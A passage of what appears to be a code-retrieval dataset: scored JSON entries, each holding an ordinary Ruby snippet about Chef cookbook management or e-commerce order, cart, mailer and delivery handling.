Chef::Log.debug(\"checksum = #{checksum}\")\n\n libs && configs && checksum\n end", "title": "" }, { "docid": "158a45b3fe7216b5dfd3eac0ad8de22c", "score": "0.54914325", "text": "def enough_ingredients_for?(recipe)\n recipe.map do |ingredients|\n if @stock.include? ingredients\n true\n else\n false\n end\n end\n end", "title": "" }, { "docid": "be1c1e8d151824f3b59584ca8288e649", "score": "0.5483833", "text": "def find_cookbooks(path)\n if !Dir.exists?(path)\n raise ArgumentError, \"Directory #{path} doesn't exist!\"\n end\n\n # #{path} is itself a cookbook\n if Dir.entries(path).include?(\"metadata.rb\")\n return [path]\n end\n \n # #{path} is a cookbooks dir or contains a cookbooks dir\n if path.chomp(\"/\").end_with?(\"cookbooks\")\n cookbooks_dir = path\n elsif Dir.entries(path).include?(\"cookbooks\") and\n File.directory?(\"#{path}/cookbooks\")\n cookbooks_dir = \"#{path}/cookbooks\"\n end\n\n if !cookbooks_dir\n raise ArgumentError, \"Couldn't find a cookbooks dir in #{path}\"\n end\n\n cookbooks = []\n Dir.entries(cookbooks_dir).each do |sub_d|\n sub_path = \"#{cookbooks_dir}/#{sub_d}\"\n if File.directory?(sub_path) and \n Dir.entries(sub_path).include?(\"metadata.rb\")\n cookbooks << sub_path\n end\n end\n if cookbooks == []\n raise ArgumentError, \"Couldn't find any cookbooks in #{path}\"\n end\n\n return cookbooks\n end", "title": "" }, { "docid": "32b63bd7b70bff1ea891b06120a0065d", "score": "0.5478333", "text": "def empty?\n @recipes.empty?\n end", "title": "" }, { "docid": "64369b75163ef4f87b34c6faa718a933", "score": "0.54763544", "text": "def has_cookbook_file?(fn)\n run_context.has_cookbook_file_in_cookbook?(new_resource.cookbook, fn)\n end", "title": "" }, { "docid": "5b48db84d62da8295aea04b226a4c7a0", "score": "0.5460878", "text": "def owns_cookbook(cookbook)\n self.owned_cookbooks.member? cookbook\n end", "title": "" }, { "docid": "645c9aa28519b1692dfe9e4f18e35ef0", "score": "0.5455491", "text": "def missing_software_dependencies(options={}, &block)\n return software_dependencies.select {|s| !s.installed?(options, &block) }\n end", "title": "" }, { "docid": "67811017b08454a5b1127adee36b4950", "score": "0.5455389", "text": "def valid_paths?\n paths = options[:cookbook_paths] + options[:role_paths] +\n options[:environment_paths]\n paths.any? && paths.all? { |path| File.exist?(path) }\n end", "title": "" }, { "docid": "38b1e6de84bd75dd1f64334c0ebd636f", "score": "0.54462266", "text": "def missing\n cached = keys\n softwares.select do |software|\n key = key_for(software)\n !cached.include?(key)\n end\n end", "title": "" }, { "docid": "3b005187d936100518d44b02e5b68cde", "score": "0.54460347", "text": "def load_cookbooks(cookbook_names)\n Strainer.ui.debug \"Sandbox#load_cookbooks(#{cookbook_names.inspect})\"\n cookbook_names.collect{ |cookbook_name| load_cookbook(cookbook_name) }\n end", "title": "" }, { "docid": "c3642ab1533e010eae390b1918336327", "score": "0.5440458", "text": "def chef_client?(config)\n !provisioners(:chef_client, config).empty?\n end", "title": "" }, { "docid": "71ba118994e5837103fbffd9ba3edc3d", "score": "0.54261845", "text": "def binaries_exist?\n files = [\n File.join(omnibus_embedded_bin_dir, 'runsvdir'),\n File.join(omnibus_embedded_bin_dir, 'sv'),\n File.join(omnibus_bin_dir, 'chef-init'),\n '/usr/bin/chef-init',\n File.join(omnibus_bin_dir, 'chef-client'),\n '/usr/bin/chef-client'\n ]\n\n files.each do |file|\n file_exists = ChefInit::Test.new(\"file '#{file}' exists\")\n file_exists.test_file(file, true, \"#{file} does not exist\")\n end\n end", "title": "" }, { "docid": "9503748a3a5bb8edaf3ec816c0b2d2f1", "score": "0.5423656", "text": "def has_brew_files_requiring_meta?\n if @has_brew_files_requiring_meta.nil?\n @has_brew_files_requiring_meta = brew_files_requiring_meta.any?\n end\n @has_brew_files_requiring_meta\n end", "title": "" }, { "docid": "8c5e4a9c72230c5f910705833d4f6228", "score": "0.5411794", "text": "def bumped_metadata?\n require 'chef'\n files_to_check = %w(\n metadata\\.(rb|json)\n Berksfile\n Berksfile\\.lock\n Policyfile\\.rb\n Policyfile\\.lock\\.json\n recipes\\/.*\n attributes\\/.*\n libraries\\/.*\n files\\/.*\n templates\\/.*\n ).join('|')\n\n if changed_files.any? { |f| /^(#{files_to_check})/ =~ f }\n metadata = Chef::Cookbook::Metadata.new\n metadata.from_file('metadata.rb')\n base_metadata = Chef::Cookbook::Metadata.new\n base_metadata.from_file(base_metadata_file)\n FileUtils.safe_unlink(base_metadata_file)\n base_metadata.nil? ||\n metadata.version > base_metadata.version\n else\n true\n end\nend", "title": "" }, { "docid": "9e23e65b186df210325bd695dc99d83f", "score": "0.54075855", "text": "def dependencies_present?(dependencies)\n dependencies.map do |dependency|\n (system \"which #{dependency} > /dev/null\").tap { |present|\n puts \"#{dependency} not installed\\n\" unless present\n }\n end.all?\nend", "title": "" }, { "docid": "9dc122384ab924065c0b6d730c130ca1", "score": "0.54013413", "text": "def find_all_cookbooks(cookbook_path=Chef::Config[:cookbook_path])\n changed_cookbooks = []\n cookbook_path.each do |path|\n Dir[File.join(File.expand_path(path), '*')].each do |cookbook_dir|\n if File.directory?(cookbook_dir)\n if cookbook_dir =~ /#{File.expand_path(path)}\\/(.+)/\n changed_cookbooks << $1\n end\n end\n end\n end\n changed_cookbooks.uniq\n end", "title": "" }, { "docid": "0b8391b17adc6203bdbd85beebabd140", "score": "0.5401017", "text": "def brew_files_missing_meta\n present_file_ids = brew_file_meta.complete.pluck(:brew_file_id)\n brew_files_requiring_meta.reject{|f| f.id.in?(present_file_ids)}\n end", "title": "" }, { "docid": "e11866c4ed96f3aa0291ca9ea2648ef4", "score": "0.538625", "text": "def haveBootstrapped?\n self.class.loadChefLib\n MU.log \"Chef config\", MU::DEBUG, details: ::Chef::Config.inspect\n nodelist = ::Chef::Node.list()\n nodelist.has_key?(@server.mu_name)\n end", "title": "" }, { "docid": "38864d08a46209643c2e54c862a32e47", "score": "0.53777844", "text": "def installation_prerequisites_met?\n !(missing_node? || missing_npm? || uncommitted_changes?)\n end", "title": "" }, { "docid": "00e4cb0ff82f67e53aa135178736cf80", "score": "0.5367864", "text": "def chef_solo?(env)\n provisioners(:chef_solo, env).any?\n end", "title": "" }, { "docid": "00e4cb0ff82f67e53aa135178736cf80", "score": "0.5367864", "text": "def chef_solo?(env)\n provisioners(:chef_solo, env).any?\n end", "title": "" }, { "docid": "00e4cb0ff82f67e53aa135178736cf80", "score": "0.5367864", "text": "def chef_solo?(env)\n provisioners(:chef_solo, env).any?\n end", "title": "" }, { "docid": "516a1e69f2b6e7762fb37bb7e687e7b7", "score": "0.53638643", "text": "def vendor(cookbooks)\n require 'chef/cookbook/chefignore'\n\n chefignore_file = [\n File.join(Dir.pwd, 'chefignore'),\n File.join(Dir.pwd, 'cookbooks', 'chefignore')\n ].find { |f| File.exists?(f) }\n\n chefignore = chefignore_file && ::Chef::Cookbook::Chefignore.new(chefignore_file)\n path = File.expand_path(options[:path])\n FileUtils.mkdir_p(path)\n\n scratch = Berkshelf.mktmpdir\n cookbooks.each do |cookbook|\n dest = File.join(scratch, cookbook.cookbook_name, '/')\n FileUtils.mkdir_p(dest)\n\n # Dir.glob does not support backslash as a File separator\n src = cookbook.path.to_s.gsub('\\\\', '/')\n files = Dir.glob(File.join(src, '*'))\n\n # Filter out files using chefignore\n files = chefignore.remove_ignores_from(files) if chefignore\n\n FileUtils.cp_r(files, dest)\n end\n\n FileUtils.remove_dir(path, force: true)\n FileUtils.mv(scratch, path)\n\n path\n end", "title": "" } ]
c90c63f0c514a878043c868cda6ed835
Notifies the specified facility staff member if an order is placed including a product
[ { "docid": "9da3121d6c3a025063b3313377bbb570", "score": "0.6409222", "text": "def product_order_notification(order_detail, recipient)\n @order = order_detail.order\n @order_detail = OrderDetailPresenter.new(order_detail)\n attach_reservation_ical(order_detail.reservation) if order_detail.reservation.present?\n send_nucore_mail recipient, text(\"views.purchase_notifier.product_order_notification.subject\", product: order_detail.product)\n end", "title": "" } ]
[ { "docid": "ec2f55c0d60f6ed25bcb3b7bc289dcf4", "score": "0.59143496", "text": "def show\n assert_product_is_accessible!\n add_to_cart = true\n @login_required = false\n\n # does the product have active price policies?\n unless @product.available_for_purchase?\n add_to_cart = false\n @error = \"not_available\"\n end\n\n # is user logged in?\n if add_to_cart && acting_user.blank?\n @login_required = true\n add_to_cart = false\n end\n\n # when ordering on behalf of, does the staff have permissions for this facility?\n if add_to_cart && acting_as? && !session_user.operator_of?(@product.facility)\n add_to_cart = false\n @error = \"not_authorized_acting_as\"\n end\n\n # does the user have a valid payment source for purchasing this reservation?\n if add_to_cart && acting_user.accounts_for_product(@product).blank?\n add_to_cart = false\n @error = \"no_accounts\"\n end\n\n # does the product have any price policies for any of the groups the user is a member of?\n if add_to_cart && !price_policy_available_for_product?\n add_to_cart = false\n @error = \"not_in_price_group\"\n end\n\n # is the user approved?\n if add_to_cart && !@product.can_be_used_by?(acting_user) && !session_user_can_override_restrictions?(@product)\n if SettingsHelper.feature_on?(:training_requests)\n if TrainingRequest.submitted?(session_user, @product)\n flash[:notice] = text(\".already_requested_access\", product: @product)\n return redirect_to facility_path(current_facility)\n else\n return redirect_to new_facility_product_training_request_path(current_facility, @product)\n end\n else\n add_to_cart = false\n @error = \"requires_approval\"\n end\n end\n\n if @error\n flash.now[:notice] = text(@error, singular: @product.class.model_name.to_s.downcase,\n plural: @product.class.model_name.human(count: 2).downcase)\n end\n\n @add_to_cart = add_to_cart\n @active_tab = \"home\"\n render layout: \"application\"\n end", "title": "" }, { "docid": "44b4af473dfba9a2695e57629b1c8485", "score": "0.58916074", "text": "def after_purchase(order)\n self.consumed = true\n # send confirmation email to admin and to user, #person.send_email already delays\n notify_admins\n notify_backer\n save!\n\n MixpanelEvent.track(\n person_id: person_id,\n event: 'Create Order',\n checkout_method: order.checkout_method.class.name,\n product: \"team_payin\",\n amount: amount,\n team_id: team.id,\n member: team.person_is_member?(person)\n )\n end", "title": "" }, { "docid": "504f6416c7871b9d2c0b24437d0a13d5", "score": "0.5848996", "text": "def place_and_complete_kfs_item_order(ordered_by, facility, account = nil, reviewed = false)\n @facility_account = FactoryBot.create(:kfs_facility_account, facility: facility)\n @item = facility.items.create(FactoryBot.attributes_for(:item, facility_account_id: @facility_account.id))\n place_product_order(ordered_by, facility, @item, account)\n\n # act like the parent order is valid\n @order.state = \"validated\"\n\n # purchase it\n @order.purchase!\n\n @order_detail.change_status!(OrderStatus.complete)\n\n od_attrs = {\n actual_cost: 20,\n actual_subsidy: 10,\n price_policy_id: @item_pp.id,\n }\n\n od_attrs[:reviewed_at] = Time.zone.now - 1.day if reviewed\n @order_detail.update_attributes(od_attrs)\n @order_detail\nend", "title": "" }, { "docid": "925294224048117063127829b0a4cec7", "score": "0.5758642", "text": "def order_notification(order, recipient)\n @order = order\n attach_all_icals_from_order(@order)\n send_nucore_mail recipient, text(\"views.purchase_notifier.order_notification.subject\"), \"order_receipt\"\n end", "title": "" }, { "docid": "81badc18754833d2b4704d60c78b5303", "score": "0.57482105", "text": "def order_success\n begin\n @order = (flash[:order_id] ? Order.find(flash[:order_id]) : @customer.orders.last)\n\n flash.keep(:order_id) # Keep the order ID around in case of a reload\n\n if request.post?\n if params[:customer]\n @order.customer.update_attributes( params[:customer] )\n end\n end\n\n rescue Exception => e\n ExceptionNotifier::Notifier.exception_notification(request.env, e).deliver\n @order = nil\n end\n\n @upsell_products = []\n if ! @order.andand.university_id\n @upsell_products = @customer.andand.postcheckout_upsell_recommend(1, 2, @order)\n end\n end", "title": "" }, { "docid": "21f2203a4e2b3afec0084322e099fac5", "score": "0.5747554", "text": "def order_confirmation (user, cart, product, customer, pickup)\n @user = user\n @cart = cart\n @product = product\n @customer = customer\n @pickup = pickup\n\n mail to: user.email, subject: \"A new order has been placed\"\n end", "title": "" }, { "docid": "4c64a6d7e075ac1011b95c2c6554e562", "score": "0.5527968", "text": "def update\n @order = Order.find(params[:id])\n @order.assign_attributes(params[:order])\n @order.products_inorder << @products\n @order.user = @products.first.user\n \n respond_to do |format|\n if @order.save\n format.html { redirect_to_relative_path('inorder') and return }\n format.json { head :no_content }\n else\n format.html { render template: \"/admin/products/inorder/action\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2b8dcfbfaf776e12a5aa53d3efa1b490", "score": "0.5477656", "text": "def create\n @order = Order.new(order_params)\n @order.products_inorder << @products\n @order.user = @products.first.user\n\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to_relative_path('inorder') and return }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render template: \"/admin/products/inorder/action\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bdcbfd41f89f631de75f7a413d243408", "score": "0.5429121", "text": "def validate_facility_can_journal(order_detail)\n facility_id = order_detail.order.facility_id\n unless journaled_facility_ids.member?(facility_id)\n if pending_facility_ids.member?(facility_id)\n raise ::Journal::CreationError.new(I18n.t(\n \"activerecord.errors.models.journal.pending_overlap\",\n label: order_detail.to_s,\n facility: Facility.find(facility_id),\n ))\n else\n journaled_facility_ids.add(facility_id)\n end\n end\n end", "title": "" }, { "docid": "5b6c1d86fbe09c565c53d760e3728a2b", "score": "0.5427756", "text": "def notify_order(order)\n @order = order\n to = ADMIN_EMAIL\n\n mail :to => email_to(to), :subject => \"Pocket Prints Order ##{order.order_code}\"\n end", "title": "" }, { "docid": "c73268d798fe6b0d37cdc3a940f7f9ec", "score": "0.53497815", "text": "def shipped(order)\n @order = order\n\n mail to: order.email, subject: 'Fast Find Auto Parts Order Shipped'\n end", "title": "" }, { "docid": "07c795ff0a96522489657b035ec03cbf", "score": "0.53041875", "text": "def notify_order\n UserMailer.notify_order\n end", "title": "" }, { "docid": "0515e04a05db968865047f5244a74017", "score": "0.530212", "text": "def shipped(order)\n @order = order\n\n puts \">> shipped order email sent\"\n\n mail to: @admin_email, subject: 'Pragmatic Store Order Shipped'\n end", "title": "" }, { "docid": "2b46c4826fb554745ef0b6fce358445b", "score": "0.52915704", "text": "def create\n @user = User.find(session[:user_id])\n @order = Order.new(params[:order])\n @order[:User_order] = @user[:id]\n @order.add_line_items_from_cart(current_cart)\n if @order.save\n UserMailer.order_confirmation(@order).deliver\n UserMailer.order_admin(@order).deliver\n render \"_good\"\n end\n end", "title": "" }, { "docid": "98aa1585a72f11b1a00cb9ce0e48dfda", "score": "0.52899975", "text": "def order_shipped(order)\n \t@order = order\n mail to: order.email, subject: 'Pragmatic Store Order Shipped'\n end", "title": "" }, { "docid": "d637156fe95b6d4555df887fe460484a", "score": "0.5288181", "text": "def added_to_cart?(product)\n return false unless user_signed_in?\n return false if current_user.shopping_cart.blank?\n current_user.shopping_cart.includes_product?(product)\n end", "title": "" }, { "docid": "7af89ef304422a1d273e4fa6799179d1", "score": "0.52674556", "text": "def order_shipped(order)\n @order = order\n\n mail :subject => \"order shipped!\"\n end", "title": "" }, { "docid": "2cb72b1aedc81105b021b52e02c15181", "score": "0.52373105", "text": "def food_partner_confirmation_notice(enquiry)\n @enquiry = enquiry\n @food_partner = @enquiry.food_partner\n @customer = @enquiry.customer\n mail(subject: \"[team] #{@food_partner.company_name} confirmed order #{@enquiry.id}\")\n end", "title": "" }, { "docid": "768ad0b9c70140af87380e1ce630025b", "score": "0.5236213", "text": "def confirm_products_order\n unless @current_admin.is_super_admin\n unless @current_admin.privilages.include? '3'\n flash[:error]=\"You are not authorized to navigate to this page \"\n redirect_to admin_index_path\n return\n end\n end\n @users_sales=Array.new\n @customers_sales=Array.new\n @sales=Sale.where(\"is_delivered='f'\")\n\n @sales.each do |sale|\n if sale.customer\n @customers_sales.push(sale)\n else\n @users_sales.push(sale)\n end\n end\n puts \"user sale count:#{@users_sales.length}\"\n puts \"customer sale count:#{@customers_sales.length}\"\n end", "title": "" }, { "docid": "204746758deb7ae6a483b55d1313d19a", "score": "0.52058405", "text": "def order_received(user)\n@user = user\nActionMailer::Base.mail(:from => \"kumarnithesh61@gmail.com\", :to => \"nitheshk@railsfactory.org\", :subject => \"Adding new product\", :body => \"the product is added into the list\").deliver\nend", "title": "" }, { "docid": "09d89b34d9b8b936b12e7db449f16fff", "score": "0.51975745", "text": "def shipped(order)\n @order = order\n\n mail to: order.email, subject: \"Your Favorite Store Order Shipped\"\n end", "title": "" }, { "docid": "da842699b937b4d6e5f6193929d36b6b", "score": "0.51967216", "text": "def create\n @ordered_product = OrderedProduct.new(params[:ordered_product])\n rented_products = params['rented_products'] ? params['rented_products'] : {}\n # p product_packages\n respond_to do |format|\n format.html { redirect_to @ordered_product.complex_triggered_save(current_user.id, rented_products) }\n end\n end", "title": "" }, { "docid": "6d6e9e8323a3d79ea01a292e1b983a79", "score": "0.51943207", "text": "def update\n params[:order][:existing_order_product_presentations_attributes] ||= {}\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n notice('updated', Order.human_name)\n format.html { redirect_to(@order) }\n format.xml { head :ok }\n else\n error('no_update')\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @order.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cfc0e6b45124b1f37d19b87220d99c22", "score": "0.51901466", "text": "def purchase_order_required?\n if self.solution.purchase_order_required && self.purchase_order.blank?\n errors.add(:purchase_order_required, \"PROBLEM: A purchase order is required for solution #{self.solution.name}.\")\n end\n end", "title": "" }, { "docid": "aec0cecff19bfef3b06b9b55fb988125", "score": "0.5185932", "text": "def notification_for(product)\n \t@product = product \n mail(:to => @product.user.email, :subject => \"Perishab.ly alert regarding your #{@product.name}\")\n end", "title": "" }, { "docid": "6e560ca7fbdaf9103229ab371d4bfbe0", "score": "0.5182549", "text": "def to_be_performed?\n self.research_billing_qty > 0\n end", "title": "" }, { "docid": "b18bce72149435ea4630becade7a7964", "score": "0.5168013", "text": "def notify_parties\n buyer.add_transaction self\n seller.add_transaction self if seller\n end", "title": "" }, { "docid": "0277ba2aaec76bfb4d22880e56c671db", "score": "0.5151272", "text": "def update\n @order = Order.find(params[:id])\n @delivery = @order.delivery\n @member = @order.member\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n Notifier.order_confirmation(@order, true).deliver\n flash[:notice] = 'Order was successfully updated.'\n format.html { redirect_to order_path(:id => @order, :farm_id => @farm.id) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @order.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "77f92d832f1ca81646c998e09e9994ba", "score": "0.5148021", "text": "def send_author_emails\n\t\tUserMailer.fulfill_order( self, self.user ).deliver if self.sku.contains_merch?\n\tend", "title": "" }, { "docid": "7830e1bc5bb305e47980679fe3cf2702", "score": "0.5144666", "text": "def fire_for(basket)\n num = num_matching_products(basket)\n Event.new(created_by: self,\n product: @product,\n num_matches: num,\n new_price: @price_per_unit) if num >= @min_num\n end", "title": "" }, { "docid": "5cbb4943b773d428ac455ccca40e2043", "score": "0.5141228", "text": "def shipped(order)\n @order = order\n\n mail to: order.e_mail, subject: 'Eloctronic Shop Order Shipped'\n end", "title": "" }, { "docid": "0fa6688c171058f66498a8365eb64ac8", "score": "0.51335704", "text": "def shipped(order)\n @order = order\n\n mail to: order.email, subject: '8 facts you will never believe! Doctors hate it!'\n end", "title": "" }, { "docid": "5956d9de4e530c8969e61c6644f4a750", "score": "0.51257855", "text": "def shipped(order)\n @order = order\n mail to: order.email, subject: 'Pragmatic Store Order shipped'\n end", "title": "" }, { "docid": "b76e3a8626602c49e01a4960b46f0de5", "score": "0.51214933", "text": "def order_recieved(order)\n @order = order\n\n mail to: order.email, subject: \"Pragmatic Store Order Confirmation\"\n end", "title": "" }, { "docid": "2fac71032a83d2536a1eeb510e39fcc8", "score": "0.51208633", "text": "def new_order(order)\n @order = order\n\n mail(\n to: order.user.email,\n subject: 'Fry Farms Coop Order Received'\n )\n end", "title": "" }, { "docid": "bc56a315128e69a9f559ec264bf62a85", "score": "0.5117548", "text": "def create \n\t\tcarted_products = current _user.\n\t\tcarted_products.where(status: \"carted\")\n\n\t\tcarted_products.each do |carted_products|\n\t\t\tsum += (carted_product.product.product.price\n\t\t\t* carted_product.quantity)\n\t\tend \n\n\t\ttax =subtotal * 0.09\n\t\ttotal = subtotal + tax \n\n\t\torder = Order.create(user_id: current_user_id ,subtotal: subtotal, tax: tax,\n\t\t\ttotal: total)\n\n\t\tcarted_products.update_all (status: \"purchased\",order_id:\"order_id\")\n\n\t\tflash [success:] = \"Order succesfully created\" \n\t\tredirect_to \"/orders/#{order.id}\"\n\tend", "title": "" }, { "docid": "fa1323c373614f7bfc68de2afdba19b1", "score": "0.51132154", "text": "def recevied(order)\n @order = order\n\n mail to: \"tariq.sulehir@khaleef.com\", subject: \"Rails Store Order Conformation..\"\n end", "title": "" }, { "docid": "085dd8b3845a8a4b47fe3fe6f7f0678c", "score": "0.5096711", "text": "def notify_order_state(order, current_user)\n @order = order\n receiver = current_user.is_user? ? order.designer : order.user\n subject = \"\"\n case order.aasm_state\n when \"picked\"\n subject = \"[DesignDeck] 您好,您的订单:#{order.title},设计师已接单 \"\n when \"drafts_submitted\"\n subject = \"[DesignDeck] 您好,您的订单:#{order.title},设计师已提交初稿 #{order.title}\"\n when \"versions_submitted\"\n subject = \"[DesignDeck] 您好,您的订单:#{order.title},设计师已提交新稿件 #{order.title}\"\n when \"completed\"\n if current_user.is_user?\n subject = \"[DesignDeck] 您好,您的订单:#{order.title},最终版本文件打包已上传 #{order.title}\"\n else\n subject = \"[DesignDeck] 您好,您接的订单:#{order.title},用户已确认最终版,请上传打包文件 #{order.title}\"\n end\n when \"draft_selected\"\n subject = \"[DesignDeck] 您好,您接的订单:#{order.title},用户已选择初稿 #{order.title}\"\n when \"version_selected\"\n subject = \"[DesignDeck] 您好,您接的订单:#{order.title},用户已对稿件提出修改意见 #{order.title}\"\n end\n mail(to: receiver.email, subject: subject)\n end", "title": "" }, { "docid": "79aa0180cf14181ea53ae52b16bddadb", "score": "0.5093514", "text": "def notify_shipped(order)\n @order = order\n @info = @order.info\n email = @order.user.email\n subject = \"特快車出貨通知! (訂單編號:#{@order.token})\"\n\n mail(to: email, subject: subject) do |format|\n format.text\n format.html\n end\n end", "title": "" }, { "docid": "58f025dc7eabfb7e949682dfb84306f6", "score": "0.50931656", "text": "def registers(user, product)\n if(registrations.size < quantity and not user.registered_to?(product))\n user.registrations.build(:product => product, :execution => self)\n end\n end", "title": "" }, { "docid": "07a47033dcaa267b51f7aa4c54495630", "score": "0.5092238", "text": "def shipped(order)\n @order = order\n\n mail to: order.email, subject: 'Pragmatic Store Order Shipped'\n end", "title": "" }, { "docid": "23958fa6c92e857c3f73f18d2512beee", "score": "0.50887215", "text": "def order_shipped\n @order = order\n\n mail :to => \"sandra_sovane@inbox.lv\", :subject => 'Pragmatic Store Order Shipped'\n end", "title": "" }, { "docid": "e9ec0fbb034508bc0b03fad267cc20ee", "score": "0.50871146", "text": "def buyer_waitlisted(shop, product, buyer)\n @shop = shop\n @product = product\n @buyer = buyer\n mail to: buyer.email, subject: \"[#{shop.name}] You're in line for #{product.title}\"\n end", "title": "" }, { "docid": "8d8a7103f12f0e26a9e739e889b37af5", "score": "0.50863487", "text": "def is_required?\n order.suppliers.any? {|supplier| supplier == self.supplier}\n end", "title": "" }, { "docid": "070d0124190a24e087a3848cbcf4cac9", "score": "0.508377", "text": "def order_admin_notification\n order = Order.last\n OrderMailer.order_admin_notification(order)\n end", "title": "" }, { "docid": "b3e9d347ba2b962c6f172f2dd09afd06", "score": "0.50826013", "text": "def already_notified(order) \r\n @notified_orders_set.include? order[\"order_id\"]\r\nend", "title": "" }, { "docid": "e5d8009cec953c5a7102f2d6b549a2bf", "score": "0.5073614", "text": "def shipped(order)\n @order = order\n\n mail to: order.email,subject: \"Pragmatic Store Order Shipped\"\n end", "title": "" }, { "docid": "47a76fe7683c400073ae81d3590dffd7", "score": "0.5067418", "text": "def shipped(order)\n @order = order \n\n mail to: order.email, subject: 'justEat Order Shipped'\n end", "title": "" }, { "docid": "5bfb2b1e2ad92e916e0a823677ee123b", "score": "0.5062655", "text": "def shipped(order)\n @order = order\n mail to: order.email, subject: 'PMAC Store Order Shipped'\n end", "title": "" }, { "docid": "62e34a59311fc00d277cf1d9bbd20115", "score": "0.506154", "text": "def create\n @order = Order.create(order_params.merge(user_id: current_user.id))\n process_order_items\n\n if @order.save\n OrderNotifier.kitchen(@order).deliver_now\n OrderNotifier.customer(@order).deliver_now\n else\n invalid_request\n end\n end", "title": "" }, { "docid": "62e34a59311fc00d277cf1d9bbd20115", "score": "0.506154", "text": "def create\n @order = Order.create(order_params.merge(user_id: current_user.id))\n process_order_items\n\n if @order.save\n OrderNotifier.kitchen(@order).deliver_now\n OrderNotifier.customer(@order).deliver_now\n else\n invalid_request\n end\n end", "title": "" }, { "docid": "f5ade3d284b17e10f08ebe095e0555ab", "score": "0.5061253", "text": "def complete_customer_order\n \n # call the get_customer_order with product price sum\n customer_order_total = Order.new.get_customer_order(CustomersController.get_active_customer)\n \n if get_customer_order.length == 0\n puts \"You have no products on your order. Please press any key to return to the main menu\"\n \n # if no products in order print \"Please add some products to your order first. Press any key to return to main menu.\"\n else \n # display order total and \"continue with the order? y/n\"\n puts \"Ready to purchase? (Y/N)\"\n @add_payment_to_order = set_field \n \n # add_payment_to_order\n puts \"Please select a payment type:\"\n \n end\n end", "title": "" }, { "docid": "6ea65c8a4720092e2169638532552728", "score": "0.5043278", "text": "def add_package_to_subscriber_delivery\n # get params\n @package_id = params[:id]\n @customer_drink_quantity = params[:quantity].to_i\n\n # get package info\n @special_package = SpecialPackage.find_by_id(@package_id)\n \n # get delivery info\n @next_delivery = Delivery.where(account_id: current_user.account_id, status: [\"user review\", \"admin prep next\", \"admin prep\"]).order(delivery_date: :asc).first\n \n # now check if this inventory item already exists in the Order Drink Prep table\n @current_drink_order = AccountDelivery.where(user_id: current_user.account_id,\n order_prep_id: @next_delivery.id,\n special_package_id: @package_id)\n \n #Rails.logger.debug(\"Next Delivery Drink Check: #{@customer_drink_order.inspect}\")\n if !@customer_drink_order.blank? #update entry\n if @customer_drink_quantity != 0\n @special_package.decrement!(:quantity, @current_drink_order[0].quantity)\n @current_drink_order.update(quantity: @customer_drink_quantity)\n @special_package.increment!(:quantity, @customer_drink_quantity)\n else\n @special_package.decrement!(:quantity, @current_drink_order[0].quantity)\n @current_drink_order[0].destroy!\n \n # get related User Delivery info\n @related_user_delivery = UserDelivery.find_by_account_delivery_id(@customer_drink_order.id)\n end\n #Rails.logger.debug(\"Found this drink\")\n # put inventory back before updating based on current quantity chosen\n @inventory.increment!(:stock, @customer_drink_order.quantity)\n @inventory.decrement!(:reserved, @customer_drink_order.quantity)\n \n \n \n # make adjustments to both delivery and inventory info\n if @customer_drink_quantity != 0\n \n # update delivery info\n @customer_drink_order.update(quantity: @customer_drink_quantity)\n @related_user_delivery.update(quantity: @customer_drink_quantity, user_addition: true)\n @next_delivery.update(has_customer_additions: true)\n # update inventory info\n @inventory.increment!(:reserved, @customer_drink_quantity)\n @inventory.decrement!(:stock, @customer_drink_quantity)\n else\n # remove related delivery items\n @customer_drink_order.destroy!\n @related_user_delivery.destroy!\n # already put inventory back, so no need to do more with inventory\n end\n else # create new Account and User delivery entries and adjust Inventory\n #Rails.logger.debug(\"Did not find this drink\")\n # get cellarable info\n @cellar = @inventory.beer.beer_type.cellarable\n if @cellar.nil?\n @cellar = false\n end\n # get size format info\n if @inventory.size_format_id == 5 || @inventory.size_format_id == 12 || @inventory.size_format_id == 14\n @large_format = true\n else\n @large_format = false\n end\n # adjust drink price to wholesale if user is admin\n if current_user.role_id == 1\n if !@inventory.sale_case_cost.nil?\n @wholesale_cost = (@inventory.sale_case_cost / @inventory.min_quantity)\n else\n @wholesale_cost = (@inventory.regular_case_cost / @inventory.min_quantity)\n end\n @stripe_fees = (@wholesale_cost * 0.029)\n @drink_price = (@wholesale_cost + @stripe_fees)\n else\n # get correct price of drink based on user's address\n @drink_price = UserAddress.user_drink_price_based_on_address(current_user.account_id, @inventory.id)\n end\n #Rails.logger.debug(\"Drink Price: #{@drink_price.inspect}\")\n # create new Account Delivery table entry\n @account_delivery = AccountDelivery.create(account_id: current_user.account_id, \n beer_id: @inventory.beer_id,\n quantity: @customer_drink_quantity,\n cellar: @cellar,\n large_format: @large_format,\n delivery_id: @next_delivery.id,\n drink_price: @drink_price,\n times_rated: 0,\n size_format_id: @inventory.size_format_id,\n inventory_id: @inventory.id)\n if @account_delivery.save!\n # create new User Delivery entry\n UserDelivery.create(user_id: current_user.id,\n account_delivery_id: @account_delivery.id,\n delivery_id: @next_delivery.id,\n quantity: @customer_drink_quantity,\n projected_rating: @project_rating_info.projected_rating,\n drink_category: @inventory.drink_category)\n \n # update inventory info\n @inventory.increment!(:reserved, @customer_drink_quantity)\n @inventory.decrement!(:stock, @customer_drink_quantity)\n end\n end\n\n # update Delivery totals\n # get all drinks in the Account Delivery Table\n @account_delivery_drinks = AccountDelivery.where(account_id: current_user.account_id, \n delivery_id: @next_delivery.id)\n @subtotal = @account_delivery_drinks.sum( \"drink_price*quantity\" ) \n @sales_tax = @subtotal * 0.101\n @total_drink_price = @subtotal + @sales_tax\n if @subtotal > 35\n @delivery_fee = 0\n else\n @delivery_fee = 5\n end\n @grand_total = @total_drink_price + @delivery_fee\n \n # update price info in Delivery table and set change confirmation to false so user gets notice\n @next_delivery.update(subtotal: @subtotal, sales_tax: @sales_tax, \n total_drink_price: @total_drink_price,\n delivery_fee: @delivery_fee,\n grand_total: @grand_total)\n \n # update page\n respond_to do |format|\n format.js\n end # end of redirect to jquery\n \n end", "title": "" }, 